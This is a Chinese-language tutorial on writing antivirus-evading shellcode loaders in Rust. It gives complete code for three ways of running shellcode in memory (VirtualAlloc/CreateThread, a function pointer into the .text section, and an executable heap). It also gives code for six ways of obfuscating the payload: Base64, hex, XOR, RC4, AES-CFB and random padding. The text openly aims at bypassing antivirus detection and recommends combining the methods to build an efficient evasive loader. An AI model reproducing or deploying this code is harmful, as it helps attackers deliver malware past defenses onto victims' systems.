Rust免杀 - Shellcode加载与混淆
字数 696 2025-08-05 11:39:45
Rust免杀技术:Shellcode加载与混淆详解
前言
本文详细讲解如何使用Rust语言实现Shellcode的加载与混淆技术,以达到绕过杀毒软件检测的目的。Rust因其编译体积小、热度相对较低等特点,在免杀领域具有天然优势。
Shellcode加载方式
1. 调用WinAPI加载
依赖配置
在Cargo.toml中添加:
winapi = {version="0.3.9",features=["winuser","processthreadsapi","memoryapi","errhandlingapi","synchapi"]}
实现代码
use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;
fn main() {
let buffer = include_bytes!("..\\calc.bin");
unsafe {
let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);
if GetLastError() == 0 {
std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());
let mut threadid = 0;
let threadhandle = CreateThread(
std::ptr::null_mut(),
0,
Some(transmute(ptr)),
std::ptr::null_mut(),
0,
&mut threadid,
);
WaitForSingleObject(threadhandle, 0xFFFFFFFF);
} else {
println!("执行失败:{}", GetLastError());
}
}
}
关键点
- 使用
VirtualAlloc申请可读写执行内存 - 使用
CreateThread创建线程执行shellcode WaitForSingleObject等待线程结束
2. 函数指针方式
fn main() {
const BUFFER_BYTES: &[u8] = include_bytes!("..\\calc.bin");
const BUFFER_SIZE: usize = BUFFER_BYTES.len();
#[link_section = ".text"]
static BUFFER: [u8; BUFFER_SIZE] = *include_bytes!("..\\calc.bin");
unsafe {
let exec = std::mem::transmute::<*const u8, fn()>(&BUFFER as *const u8);
exec();
}
}
关键点
- 使用
link_section将shellcode放入.text段 - 使用
transmute将指针转换为函数指针
3. HeapAPI方式
依赖配置
[dependencies]
winapi = {version="0.3.9",features=["winuser","heapapi","errhandlingapi"]}
实现代码
use std::mem::transmute;
use winapi::ctypes::c_void;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::heapapi::HeapAlloc;
use winapi::um::heapapi::HeapCreate;
fn main() {
let buffer = include_bytes!("..\\calc.bin");
unsafe {
let heap = HeapCreate(0x40000, 0, 0);
let ptr = HeapAlloc(heap, 8, buffer.len());
if GetLastError() == 0 {
std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());
let exec = transmute::<*mut c_void, fn()>(ptr);
exec();
}
}
}
关键点
- 使用
HeapCreate创建可执行堆 - 使用
HeapAlloc分配内存 - 相比
VirtualAlloc更隐蔽
Shellcode混淆方式
1. Base64编码
依赖配置
[dependencies]
base64 = "0.20.0"
实现代码
fn b64_enc(shellcode: &[u8]) -> String {
base64::encode(shellcode)
}
fn b64_dec(shellcode: String) -> Vec<u8> {
base64::decode(shellcode).expect("Error")
}
2. Hex编码
依赖配置
[dependencies]
hex = "0.4.3"
实现代码
fn hex_enc(shellcode: &[u8]) -> String {
hex::encode(shellcode)
}
fn hex_dec(shellcode: String) -> Vec<u8> {
hex::decode(shellcode).expect("Error")
}
3. 异或加密
实现代码
fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
let mut encrypted = Vec::new();
for (i, &b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
base64::encode(&encrypted)
}
fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec<u8> {
let encrypted = base64::decode(encrypted).expect("msg");
let mut decrypted = Vec::new();
for (i, &b) in encrypted.iter().enumerate() {
decrypted.push(b ^ key[i % key.len()]);
}
decrypted
}
4. RC4加密
依赖配置
[dependencies]
rust-crypto="0.2.36"
base64="0.13.0"
rustc-serialize = "0.3"
实现代码
use crypto::rc4::Rc4;
use crypto::symmetriccipher::SynchronousStreamCipher;
use std::iter::repeat;
fn enc(shellcode: &[u8], key: &str) -> String {
let mut rc4 = Rc4::new(key.as_bytes());
let mut result: Vec<u8> = repeat(0).take(shellcode.len()).collect();
rc4.process(shellcode, &mut result);
base64::encode(&mut result)
}
fn dec(b64: &str, key: &str) -> Vec<u8> {
let mut result = match base64::decode(b64) {
Ok(result) => result,
_ => "".as_bytes().to_vec(),
};
let mut rc4 = Rc4::new(key.as_bytes());
let mut shellcode: Vec<u8> = repeat(0).take(result.len()).collect();
rc4.process(&mut result[..], &mut shellcode);
shellcode
}
5. AES-CFB加密
依赖配置
[dependencies]
aes="0.7.5"
hex="0.4.3"
block-modes="0.8.1"
hex-literal="0.3.3"
实现代码
use aes::Aes128;
use block_modes::block_padding::Pkcs7;
use block_modes::{BlockMode, Cfb};
use hex::encode;
use hex_literal::hex;
type Aes128ECfb = Cfb<Aes128, Pkcs7>;
fn enc(shellcode: &[u8], key: &str, iv: [u8; 16]) -> String {
let key = key.as_bytes().to_vec();
let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();
let pos = shellcode.len();
let mut buffer = [0u8; 2560];
buffer[..pos].copy_from_slice(shellcode);
let ciphertext = cipher.encrypt(&mut buffer, pos).unwrap();
hex::encode(ciphertext)
}
fn dec(encrypted: &str, key: &str, iv: [u8; 16]) -> Vec<u8> {
let binding = hex::decode(encrypted).expect("Decoding failed");
let ciphertext = binding.as_slice();
let key = key.as_bytes().to_vec();
let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();
let mut buf = ciphertext.to_vec();
let shellcode = cipher.decrypt(&mut buf).unwrap();
shellcode.to_vec()
}
6. 添加随机字符
实现代码
fn add_random(xor_string: &str, key: &str) -> String {
let mut result = String::new();
for (i, c) in xor_string.chars().enumerate() {
result.push(c);
result.push(key.chars().nth(i % key.len()).unwrap());
}
hex::encode(&result)
}
fn rm_random(random_string: &str) -> Vec<u8> {
let mut result = String::new();
let random_string = hex::decode(random_string).expect("Invalid String");
let random_string = match std::str::from_utf8(random_string.as_slice()) {
Ok(s) => s,
Err(_) => "Invalid UTF-8 sequence",
};
for (i, c) in random_string.chars().enumerate() {
if i % 2 == 0 {
result.push(c);
}
}
result.as_bytes().to_vec()
}
总结
- Rust编译体积小,检出率低,是免杀的理想选择
- 多种加载方式可以组合使用,增加检测难度
- 多种混淆方式可以叠加使用,提高免杀效果
- 实际应用中建议结合多种加载和混淆方式
通过合理组合上述技术,可以构建出高效的免杀shellcode加载器。建议在实际使用前进行充分测试,并根据目标环境调整技术组合。